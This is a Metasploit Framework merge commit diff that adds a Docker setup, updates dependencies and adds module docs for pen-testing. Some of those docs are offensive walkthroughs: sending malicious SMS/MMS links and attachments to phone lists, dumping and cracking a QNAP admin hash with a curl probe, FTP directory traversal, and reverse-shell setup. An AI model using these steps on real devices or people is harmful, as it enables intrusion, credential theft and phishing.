Merge remote-tracking branch 'upstream/master' into land-8038-

bug/bundler_fix
Brent Cook 2017-03-16 22:03:48 -05:00
commit e1f33f1616
99 changed files with 5238 additions and 207 deletions

95
.dockerignore Normal file
View File

@ -0,0 +1,95 @@
.dockerignore
.gitignore
.env*
docker-compose*.yml
docker/
!docker/msfconsole.rc
README.md
.bundle
Gemfile.local
Gemfile.local.lock
# Rubymine project directory
.idea
# Sublime Text project directory (not created by ST by default)
.sublime-project
# RVM control file, keep this to avoid backdooring Metasploit
.rvmrc
# Allow for a local choice of (unsupported / semi-supported) ruby versions
# See PR #4136 for usage, but example usage for rvm:
# rvm --create --versions-conf use 2.1.4@metasploit-framework
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
# rbenv shell 2.1.4
.versions.conf
# YARD cache directory
.yardoc
# Mac OS X files
.DS_Store
# database config for testing
config/database.yml
# target config file for testing
features/support/targets.yml
# simplecov coverage data
coverage
doc/
external/source/meterpreter/java/bin
external/source/meterpreter/java/build
external/source/meterpreter/java/extensions
external/source/javapayload/bin
external/source/javapayload/build
# Java binary ignores. Replace the 5 above with this once we're merged.
external/source/javapayload/*/.classpath
external/source/javapayload/*/.project
external/source/javapayload/*/.settings
external/source/javapayload/*/bin
external/source/javapayload/*/target
external/source/javapayload/*/*/.classpath
external/source/javapayload/*/*/.project
external/source/javapayload/*/*/.settings
external/source/javapayload/*/*/bin
external/source/javapayload/*/*/target
# Packaging directory
pkg
tags
*.swp
*.orig
*.rej
*~
# Ignore backups of retabbed files
*.notab
# ignore Visual Studio external source garbage
*.suo
*.sdf
*.opensdf
*.user
# Rails log directory
/log
# Rails tmp directory
/tmp
# ignore release/debug folders for exploits
external/source/exploits/**/Debug
external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the metasploit-payloads gem.
data/meterpreter/*.dll
data/meterpreter/*.php
data/meterpreter/*.py
data/meterpreter/*.bin
data/meterpreter/*.jar
data/meterpreter/*.lso
data/android
data/java
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,
# check out Metasploit Pro: http://metasploit.com/download
data/meterpreter/ext_server_pivot.*.dll
# Avoid checking in metakitty, the source for
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
/metakitty
.vagrant

3
.gitignore vendored
View File

@ -85,3 +85,6 @@ data/meterpreter/ext_server_pivot.*.dll
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
/metakitty
.vagrant
# local docker compose overrides
docker-compose.local*

View File

@ -20,7 +20,11 @@ group :development do
gem 'pry'
# module documentation
gem 'octokit', '~> 4.0'
# rails-upgrade staging gems
# session aggregator, native builds have issues on arm platforms for now
gem 'metasploit-aggregator' if [
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
end
group :development, :test do

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.14.1)
metasploit-framework (4.14.2)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.16)
metasploit-payloads (= 1.2.17)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.7)
msgpack
@ -142,17 +142,38 @@ GEM
railties (>= 3.0.0)
faraday (0.11.0)
multipart-post (>= 1.2, < 3)
ffi (1.9.17)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.2)
gherkin (4.0.0)
google-protobuf (3.2.0)
googleauth (0.5.1)
faraday (~> 0.9)
jwt (~> 1.4)
logging (~> 2.0)
memoist (~> 0.12)
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.1.2)
google-protobuf (~> 3.1)
googleauth (~> 0.5.1)
i18n (0.8.1)
jsobfu (0.4.2)
rkelly-remix
json (2.0.3)
jwt (1.5.6)
little-plugger (1.1.4)
logging (2.1.0)
little-plugger (~> 1.1)
multi_json (~> 1.10)
loofah (2.0.3)
nokogiri (>= 1.5.9)
metasm (1.0.2)
memoist (0.15.0)
metasm (1.0.3)
metasploit-aggregator (0.1.3)
grpc
rex-arch
metasploit-concern (2.0.3)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
@ -169,7 +190,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.16)
metasploit-payloads (1.2.17)
metasploit_data_models (2.0.14)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -187,20 +208,21 @@ GEM
mime-types-data (3.2016.0521)
mini_portile2 (2.1.0)
minitest (5.10.1)
msgpack (1.0.3)
msgpack (1.1.0)
multi_json (1.12.1)
multi_test (0.1.2)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (4.1.0)
network_interface (0.0.1)
nexpose (5.3.0)
nexpose (5.3.1)
nokogiri (1.7.0.1)
mini_portile2 (~> 2.1.0)
octokit (4.6.2)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
os (0.9.6)
packetfu (1.1.13.pre)
pcaprub
patch_finder (1.0.2)
@ -308,6 +330,11 @@ GEM
faraday (~> 0.8, < 1.0)
shoulda-matchers (3.1.1)
activesupport (>= 4.0.0)
signet (0.7.3)
addressable (~> 2.3)
faraday (~> 0.9)
jwt (~> 1.5)
multi_json (~> 1.10)
simplecov (0.13.0)
docile (~> 1.1.0)
json (>= 1.8, < 3)
@ -321,7 +348,7 @@ GEM
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2016.10)
tzinfo-data (1.2017.1)
tzinfo (>= 1.0.0)
windows_error (0.1.0)
xpath (2.0.0)
@ -336,6 +363,7 @@ DEPENDENCIES
cucumber-rails
factory_girl_rails
fivemat
metasploit-aggregator
metasploit-framework!
octokit (~> 4.0)
pry
@ -348,4 +376,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.14.5
1.14.6

2
data/exploits/office_word_macro/word/vbaData.xml Executable file → Normal file
View File

@ -1,2 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>

BIN
data/exploits/office_word_macro/word/vbaProject.bin Executable file → Normal file

Binary file not shown.

24
docker-compose.yml Normal file
View File

@ -0,0 +1,24 @@
version: '2'
services:
ms: &ms
image: metasploit
build:
context: .
dockerfile: ./docker/Dockerfile
environment:
DATABASE_URL: postgres://postgres@db:5432/msf
links:
- db
ports:
- 4444:4444
volumes:
- $HOME/.msf4:/root/.msf4
db:
image: postgres:9.6
volumes:
- pg_data:/var/lib/postgresql/data
volumes:
pg_data:
driver: local

47
docker/Dockerfile Normal file
View File

@ -0,0 +1,47 @@
FROM ruby:2.3-alpine
MAINTAINER Rapid7
ARG BUNDLER_ARGS="--system --jobs=8"
ENV APP_HOME /usr/src/metasploit-framework/
WORKDIR $APP_HOME
COPY Gemfile* m* Rakefile $APP_HOME
COPY lib $APP_HOME/lib
RUN apk update && \
apk add \
ruby-bigdecimal \
ruby-bundler \
ruby-io-console \
autoconf \
bison \
subversion \
git \
sqlite \
nmap \
libxslt \
postgresql \
ncurses \
&& apk add --virtual .ruby-builddeps \
build-base \
ruby-dev \
libffi-dev\
openssl-dev \
readline-dev \
sqlite-dev \
postgresql-dev \
libpcap-dev \
libxml2-dev \
libxslt-dev \
yaml-dev \
zlib-dev \
ncurses-dev \
bison \
autoconf \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& bundle install $BUNDLER_ARGS \
&& apk del .ruby-builddeps \
&& rm -rf /var/cache/apk/*
ADD ./ $APP_HOME
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]

65
docker/README.md Normal file
View File

@ -0,0 +1,65 @@
# Metasploit in Docker
## Getting Started
To run `msfconsole`
```bash
docker-compose run --rm --service-ports ms
```
To run `msfvenom`
```bash
docker-compose run --rm ms ./msfvenom
```
### I don't like typing `docker-compose --rm ...`
We have included some binstubs `./bin`, you can symlink them to your path.
Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
```bash
ln -s `pwd`/docker/bin/msfconsole $HOME/bin/
ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
```
### But I want reverse shells...
By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip
of your host machine.
If you want to expose more ports, or have `LHOST` prepopulated with a specific
value; you'll need to setup a local docker-compose override for this.
Create `docker/docker-compose.local.override.yml` with:
```yml
version: '2'
services:
ms:
environment:
# example of setting LHOST
LHOST: 10.0.8.2
# example of adding more ports
ports:
- 8080:8080
```
Make sure you set `LHOST` to valid hostname that resolves to your host machine.
Now you need to set the `COMPOSE_FILE` environment variable to load your local
override.
```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env
```
Now you should be able get reverse shells working
## Developing
To setup you environment for development, you need to `docker/docker-compose.development.override.yml`
to your `COMPOSE_FILE` environment variable.
If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
```

21
docker/bin/msfconsole Executable file
View File

@ -0,0 +1,21 @@
#! /bin/bash
if [[ -z "$MSF_PATH" ]]; then
path=`dirname $0`
# check for ./docker/msfconsole.rc
if [[ ! -f $path/../msfconsole.rc ]] ; then
# we are not inside the project
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
# determine script path
pushd $(dirname $(realpath $0)) > /dev/null
path=$(pwd)
popd > /dev/null
fi
MSF_PATH=$(dirname $(dirname $path))
fi
cd $MSF_PATH
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"

21
docker/bin/msfvenom Executable file
View File

@ -0,0 +1,21 @@
#! /bin/bash
if [[ -z "$MSF_PATH" ]]; then
path=`dirname $0`
# check for ./docker/msfconsole.rc
if [[ ! -f $path/../msfconsole.rc ]] ; then
# we are not inside the project
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
# determine script path
pushd $(dirname $(realpath $0)) > /dev/null
path=$(pwd)
popd > /dev/null
fi
MSF_PATH=$(dirname $(dirname $path))
fi
cd $MSF_PATH
docker-compose run --rm --service-ports ms ./msfvenom "$@"

View File

@ -0,0 +1,9 @@
version: '2'
services:
ms: &ms
environment:
DATABASE_URL: postgres://postgres@db:5432/msf_dev
volumes:
- .:/usr/src/app

5
docker/msfconsole.rc Normal file
View File

@ -0,0 +1,5 @@
<ruby>
run_single("setg LHOST #{ENV['LHOST']}") if ENV['LHOST']
run_single("setg LPORT #{ENV['LPORT']}") if ENV['LPORT']
run_single("db_connect #{ENV['DATABASE_URL'].gsub('postrgres://', '')}") if ENV['DATABASE_URL']
</ruby>

View File

@ -0,0 +1,150 @@
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
collection of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
**CELLNUMBERS**
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
against multiple phone numbers, ideally you want to create the list in a text file (one number per
line), and then load the CELLNUMBERS option like this:
```
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
```
Remember that these phone numbers must be the same carrier.
**MMSCARRIER**
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**TEXTMESSAGE**
The text message you want to send. For example, this will send a text with a link to google:
```
set TEXTMESSAGE "Hi, please go: google.com"
```
The link should automatically be parsed on the phone and clickable.
**MMSFILE**
The attachment to send in the message.
**MMSFILECTYPE**
The content type to use for the attachment. Commonly supported ones include:
* audio/midi
* image/jpeg
* image/gif
* image/png
* video/mp4
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
**SMTPADDRESS**
The mail server address you wish to use to send the MMS messages.
**SMTPPORT**
The mail server port. By default, this is ```25```.
**SMTPUSERNAME**
The username you use to log into the SMTP server.
**SMTPPASSWORD**
The password you use to log into the SMTP server.
**SMTPFROM**
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
in order to receive the text, such as AT&T.
**MMSSUBJECT**
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
## Supported Carrier Gateways
The module supports the following carriers:
* AT&T
* Sprint
* T-Mobile
* Verizon
* Google Fi
## Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
http://freecarrierlookup.com/
## Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
After creating the application password, configure auxiliary/client/mms/send_mms this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set textmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.gmail.com```
* ```set smtpport 587```
* ```set mmsfile /tmp/example.mp4```
* ```set mmsfilectype video/mp4```
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
* ```set smtppassword [APPLICATION PASSWORD]```
And you should be ready to go.
## Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
Before using the module, you must do this to your Yahoo account:
1. Sign in to Yahoo Mail.
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
3. Turn on Allow apps that use less secure sign in.
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set textmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.mail.yahoo.com```
* ```set smtpport 25```
* ```set mmsfile /tmp/example.mp4```
* ```set mmsfilectype video/mp4```
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
And you're good to go.
## Demonstration
After setting up your mail server and the module, your output should look similar to this:
```
msf auxiliary(send_mms) > run
[*] Sending mms message to 1 number(s)...
[*] Done.
[*] Auxiliary module execution completed
msf auxiliary(send_mms) >
```

View File

@ -0,0 +1,132 @@
The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection
of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
**CELLNUMBERS**
The 10-digit phone number (or numbers) you want to send the text to. If you wish to target against
multiple phone numbers, ideally you want to create the list in a text file (one number per line),
and then load the CELLNUMBERS option like this:
```
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
```
Remember that these phone numbers must be the same carrier.
**SMSCARRIER**
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**SMSMESSAGE**
The text message you want to send. For example, this will send a text with a link to google:
```
set SMSMESSAGE "Hi, please go: google.com"
```
The link should automatically be parsed on the phone and clickable.
**SMTPADDRESS**
The mail server address you wish to use to send the text messages.
**SMTPPORT**
The mail server port. By default, this is ```25```.
**SMTPUSERNAME**
The username you use to log into the SMTP server.
**SMTPPASSWORD**
The password you use to log into the SMTP server.
**SMTPFROM**
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```.
## Supported Carrier Gateways
The module supports the following carriers:
* AllTel
* AT&T Wireless
* Boost Mobile
* Cricket Wireless
* Google Fi
* T-Mobile
* Verizon
* Virgin Mobile
**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently
not supported.
## Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
http://freecarrierlookup.com/
**Note:** If the phone is using Google Fi, then it may appear as a different carrier.
## Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
After creating the application password, configure auxiliary/client/sms/send_text this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set smsmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.gmail.com```
* ```set smtpport 587```
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
* ```set smtppassword [APPLICATION PASSWORD]```
And you should be ready to go.
## Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
Before using the module, you must do this to your Yahoo account:
1. Sign in to Yahoo Mail.
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
3. Turn on Allow apps that use less secure sign in.
After configuring your Yahoo account, configure auxiliary/client/sms/send_text this way:
* ```set cellnumbers [PHONE NUMBER]```
* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]```
* ```set smsmessage "[TEXT MESSAGE]"```
* ```set smtpaddress smtp.mail.yahoo.com```
* ```set smtpport 25```
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
And you're good to go.
## Demonstration
After setting up your mail server and the module, your output should look similar to this:
```
msf auxiliary(send_text) > run
[*] Sending text (16 bytes) to 1 number(s)...
[*] Done.
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,78 @@
## Intro
This is going to be a quick rundown of how to use this module to
retrieve the admin hash from a vulnerable QNAP device.
The defaults I've set should be adequate for blind exploitation, but you
may need to tweak them for your target.
## Options
**OFFSET_START**
You want to set this to a value where you can see a backtrace. Set this
lower if you're not sure. Default is 2000.
**OFFSET_END**
Set this option to a value where you don't see a backtrace. Set this
higher if you're not sure. Default is 5000.
**RETRIES**
Sometimes the attack won't be successful on the first run. This option
controls how many times to retry the attack. Default is 10.
**VERBOSE**
This will tell you how long the binary search took and how many requests
were sent during exploitation. Default is false.
## Usage
Let's run through a successful exploitation. I've tailored the options
to my target. Your target may differ.
```
msf > use auxiliary/gather/qnap_backtrace_admin_hash
msf auxiliary(qnap_backtrace_admin_hash) > set rhost [redacted]
rhost => [redacted]
msf auxiliary(qnap_backtrace_admin_hash) > set offset_end 3000
offset_end => 3000
msf auxiliary(qnap_backtrace_admin_hash) > set verbose true
verbose => true
msf auxiliary(qnap_backtrace_admin_hash) > run
[*] QNAP [redacted] detected
[*] Binary search of 2000-3000 completed in 5.02417s
[*] Admin hash found at 0x8068646 with offset 2920
[+] Hopefully this is your hash: $1$$vnSTnHkIF96nN6kxQkZrf.
[*] 11 HTTP requests were sent during module run
[*] Auxiliary module execution completed
msf auxiliary(qnap_backtrace_admin_hash) >
```
We got lucky on this run. Sometimes it takes a couple retries to get the
hash. Now what do we do with it...
```
wvu@kharak:~$ john --wordlist --rules --format=md5crypt shadow
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x])
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter2 (admin)
1g 0:00:00:01 DONE (2017-03-15 04:41) 0.8928g/s 24839p/s 24839c/s
24839C/s flipper2..mercury2
Use the "--show" option to display all of the cracked passwords reliably
Session completed
wvu@kharak:~$
```
Cracked! Now you can log in to the device. Shells await!
## Addendum
I used this `curl` command to test for offsets:
```
curl -kv "https://[redacted]/cgi-bin/cgi.cgi?u=admin&p=$(perl -e 'print "A"x2000' | base64 -w 0)"
```

View File

@ -0,0 +1,27 @@
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
By default, anonymous access is allowed by the FTP server.
## Vulnerable Application
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
vulnerable application from the official website:
http://www.efssoft.com/efsfs.exe
## Options
Since the FTP server allows anonymous access, by default, you only need to configure:
**RHOSTS**
The FTP server IP address.
**PATH**
The file you wish to download. Assume this path starts from C:\
## Demonstration
![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)

View File

@ -0,0 +1,136 @@
## Vulnerable Application
RPC Portmapper, or more recently renamed to rpcbind, is fairly common and this scanner searches for its existance. The idea behind rpcbind was to create a
'directory' that could be asked where a service is running (port). Having this single port/service be queryable meant, the services being managed by rpcbind
could actually be running on any port or protocol, and rpdbind would be in charge of letting clients know where they were. This is more or less an outdated
model/service, and NFS is arguably the most popular service still utilizing rpcbind. The following was done on Kali linux:
1. Install rpcbind: `apt-get install rpcbind`
2. Now now have `rpcbind`, but this gives us minimal services running on it. You may want to install additional:
* NIS: `apt-get install nis`
* Start the service: `ypserv`
* NFS: `apt-get install nfs-kernel-server`
3. Just to be safe, restart rpcbind: `service rpcbind restart`
## Verification Steps
1. Install and configure rpcbind
2. Start msfconsole
3. Do: `use auxiliary/scanner/misc/sunrpc_portmapper`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf > use auxiliary/scanner/misc/sunrpc_portmapper
msf auxiliary(sunrpc_portmapper) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(sunrpc_portmapper) > run
[+] 127.0.0.1:111 - SunRPC Programs for 127.0.0.1
=============================
Name Number Version Port Protocol
---- ------ ------- ---- --------
mountd 100005 1 60153 udp
mountd 100005 1 39027 tcp
mountd 100005 2 47725 udp
mountd 100005 2 53055 tcp
mountd 100005 3 49015 udp
mountd 100005 3 47033 tcp
nfs 100003 3 2049 tcp
nfs 100003 4 2049 tcp
nfs 100003 3 2049 udp
nfs 100003 4 2049 udp
nfs_acl 100227 3 2049 tcp
nfs_acl 100227 3 2049 udp
nlockmgr 100021 1 40970 udp
nlockmgr 100021 3 40970 udp
nlockmgr 100021 4 40970 udp
nlockmgr 100021 1 42279 tcp
nlockmgr 100021 3 42279 tcp
nlockmgr 100021 4 42279 tcp
rpcbind 100000 4 111 tcp
rpcbind 100000 3 111 tcp
rpcbind 100000 2 111 tcp
rpcbind 100000 4 111 udp
rpcbind 100000 3 111 udp
rpcbind 100000 2 111 udp
ypserv 100004 2 707 udp
ypserv 100004 1 707 udp
ypserv 100004 2 708 tcp
ypserv 100004 1 708 tcp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming
Since rpc port mapper has been around since 1995, there are many tools which can also query it.
The following are other industry tools which can also be used.
### [nmap](https://nmap.org/nsedoc/scripts/rpcinfo.html)
```
nmap -p 111 --script=rpcinfo 127.0.0.1
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-13 22:57 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000043s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/udp nfs
| 100004 1,2 707/udp ypserv
| 100004 1,2 708/tcp ypserv
| 100005 1,2,3 47033/tcp mountd
| 100005 1,2,3 49015/udp mountd
| 100021 1,3,4 40970/udp nlockmgr
| 100021 1,3,4 42279/tcp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
```
### rpcinfo
This is the standard package included with rpcbind to query the rpc interface.
```
rpcinfo -p 127.0.0.1
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 60153 mountd
100005 1 tcp 39027 mountd
100005 2 udp 47725 mountd
100005 2 tcp 53055 mountd
100005 3 udp 49015 mountd
100005 3 tcp 47033 mountd
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100227 3 tcp 2049
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100227 3 udp 2049
100021 1 udp 40970 nlockmgr
100021 3 udp 40970 nlockmgr
100021 4 udp 40970 nlockmgr
100021 1 tcp 42279 nlockmgr
100021 3 tcp 42279 nlockmgr
100021 4 tcp 42279 nlockmgr
100004 2 udp 707 ypserv
100004 1 udp 707 ypserv
100004 2 tcp 708 ypserv
100004 1 tcp 708 ypserv
```

View File

@ -0,0 +1,113 @@
## Vulnerable Application
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system.
The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The
following was done on Kali linux:
1. `apt-get install nfs-kernel-server`
2. Create 2 folders to share:
```
mkdir /tmp/open_share
mkdir /tmp/closed_share
```
3. Add them to the list of shares:
```
echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports
echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports
```
4. Restart the service: `service nfs-kernel-server restart`
In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode.
## Verification Steps
1. Install and configure NFS
2. Start msfconsole
3. Do: `use auxiliary/scanner/nfs/nfsmount`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(nfsmount) > run
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*]
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
```
[*] Scanned 24 of 240 hosts (10% complete)
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
[*] Scanned 48 of 240 hosts (20% complete)
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
